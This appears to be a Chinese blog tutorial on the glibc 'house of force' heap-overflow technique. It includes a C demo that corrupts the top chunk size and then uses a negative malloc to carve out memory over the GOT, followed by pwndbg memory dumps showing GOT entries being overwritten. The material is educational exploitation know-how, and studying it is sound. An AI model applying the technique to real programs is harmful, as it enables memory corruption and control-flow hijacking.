二进制安全之堆溢出（系列）—

二进制安全之堆溢出（系列）——house of force

知了姐2019-08-09895

摘要

本文为二进制安全之堆溢出（系列）第二期，主要介绍house of force。

原理

源于论文：The malloc maleficarum

利用条件

能够以溢出的方式控制到top chunk的size域

能够自由地控制堆分配尺寸的大小

可以构造size拿到top chunk本身之外的内存，如libc的内存空间

Demo

#include<stdio.h> #include<malloc.h> #include<unistd.h> #include<string.h> int main(){     long *p = malloc(0x10);     sleep(0);     *(p+0x3) = -1;     sleep(0);     malloc(-4120);     sleep;     void *q = malloc(0x10);     strcpy(q,"aaaaaaaa");     malloc(0);     sleep(0);     return 0; }

调试

初始堆块

pwndbg> heap 0x602000 FASTBIN { prev_size = 0,  size = 33,  fd = 0x0,                       -->p指针指向fd bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x20fe1 } 0x602020 PREV_INUSE { prev_size = 0,  size = 135137,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0 }

pwndbg> x/20gz 0x602000 0x602000:   0x0000000000000000  0x0000000000000021 0x602010:   0x0000000000000000  0x0000000000000000 0x602020:   0x0000000000000000  0x0000000000020fe1 0x602030:   0x0000000000000000  0x0000000000000000

从内存布局可以看到(p+0x3)指向top chunk的size位

修改top chunk的size位后

pwndbg> x/20gz 0x602000 0x602000:   0x0000000000000000  0x0000000000000021 0x602010:   0x0000000000000000  0x0000000000000000 0x602020:   0x0000000000000000  0xffffffffffffffff

malloc(-4120)之后

0x602000 FASTBIN { prev_size = 0,  size = 33,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0xffffffffffffeff1 } 0x602020 PREV_INUSE { prev_size = 0,  size = 18446744073709547505,    -->malloc(-4120) fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0 } 0x601010 PREV_INUSE {                                       //可以看到现在的堆块已经到libc的got表了 prev_size = 140737351970320,  size = 4105,  bk = 0x7ffff7ad9230 <__GI___libc_malloc>, //  got_malloc的地址 fd_nextsize = 0x0 <__sleep>,                         //  got_sleep的地址 bk_nextsize = 0x0 }

malloc(-4120)的原因：当堆可分配的内存分配完之后就会到顶层的bss段，这里也不一定是-4120

再次申请内存 q

0x601010 FASTBIN { prev_size = 140737351970320,  size = 33,  fd = 0x7ffff7a91130 <__GI___libc_malloc>,  bk = 0x7ffff7ad9230 <__sleep>,  fd_nextsize = 0x0,  bk_nextsize = 0xfe9 }

相当于把got表所在的内存空间malloc下来了

向 q 中写入aaaaaaaa

0x601010 FASTBIN { prev_size = 140737351970320,  size = 33,  fd = 0x6161616161616161,    //aaaaaaaa bk = 0x7ffff7ad9200 <alarm>,  fd_nextsize = 0x0,  bk_nextsize = 0xfe9 }